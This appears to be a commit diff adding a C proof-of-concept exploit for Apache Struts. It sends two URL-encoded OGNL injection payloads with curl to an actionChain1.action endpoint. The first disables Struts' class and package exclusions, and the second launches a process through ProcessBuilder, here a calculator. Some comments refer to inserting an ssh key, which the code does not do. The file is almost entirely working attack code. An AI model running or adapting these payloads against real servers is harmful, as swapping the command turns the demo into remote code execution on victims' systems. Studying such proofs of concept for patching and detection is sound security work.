|
| 1 | +#include <stdio.h> |
| 2 | +#include <stdlib.h> |
| 3 | +#include <string.h> |
| 4 | +#include <unistd.h> |
| 5 | +#include <fcntl.h> |
| 6 | +#include "utils.h" |
| 7 | + |
| 8 | +// NOTE: |
| 9 | +// This exploit will not work if Struts is running in a docker container, |
| 10 | +// because you cannot pop a calculator from inside docker. So this exploit |
| 11 | +// requires you to run Struts outside of docker. The easiest way to do this |
| 12 | +// is to follow the instructions in the README for building Struts in |
| 13 | +// docker. Then just copy the tomcat directory out of docker. To do that, |
| 14 | +// start docker like this: |
| 15 | +// |
| 16 | +// ``` |
| 17 | +// docker run -v `pwd`:/home/victim/temp -i -t struts-server |
| 18 | +// ``` |
| 19 | +// |
| 20 | +// And inside docker, copy the tomcat directory into `temp` which is mapped |
| 21 | +// to the directory that you started docker from: |
| 22 | +// |
| 23 | +// ``` |
| 24 | +// cp -r apache-tomcat-9.0.12/ temp/ |
| 25 | +// ``` |
| 26 | + |
| 27 | +int main(int argc, char* argv[]) { |
| 28 | + if (argc < 2) { |
| 29 | + printf("usage example: http://172.16.0.10:8080/struts2-showcase\n"); |
| 30 | + return 1; |
| 31 | + } |
| 32 | + |
| 33 | + const char* url = argv[1]; |
| 34 | + |
| 35 | + // Scratch buffers for building the curl command line. |
| 36 | + char scratch1[2048]; |
| 37 | + char scratch2[2048]; |
| 38 | + char cmd[4096]; |
| 39 | + |
| 40 | + // First OGNL payload, which we need to urlencode and send to the Struts |
| 41 | + // server with curl. |
| 42 | + const char* url1 = |
| 43 | + "${(#_=#attr['struts.valueStack']).(#context=#_.getContext())." |
| 44 | + "(#container=#context['com.opensymphony.xwork2.ActionContext.container'])." |
| 45 | + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl." |
| 46 | + "OgnlUtil@class)).(#ognlUtil.setExcludedClasses(''))." |
| 47 | + "(#ognlUtil.setExcludedPackageNames(''))}"; |
| 48 | + |
| 49 | + // urlencode the first payload and send it to the Struts server. |
| 50 | + urlencode(scratch1, sizeof(scratch1), url1); |
| 51 | + snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch1); |
| 52 | + system(cmd); |
| 53 | + |
| 54 | + // Second OGNL payload. We need to paste our ssh key into the middle of |
| 55 | + // this string and urlencode it. |
| 56 | + const char* url2 = |
| 57 | + "${(#_=#attr['struts.valueStack']).(#context=#_.getContext())." |
| 58 | + "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#context." |
| 59 | + "setMemberAccess(#dm)).(#sl=@java.io.File@separator)." |
| 60 | + "(#p=new java.lang.ProcessBuilder({'bash','-c','gnome-calculator'})).(#p.start())}"; |
| 61 | + |
| 62 | + // Escape any slash characters in the ssh key, to stop Tomcat from |
| 63 | + // intercepting them. |
| 64 | + escape_forward_slash(scratch1, sizeof(scratch1), url2); |
| 65 | + |
| 66 | + urlencode(scratch2, sizeof(scratch2), scratch1); |
| 67 | + snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch2); |
| 68 | + system(cmd); |
| 69 | + |
| 70 | + return 0; |
| 71 | +} |
0 commit comments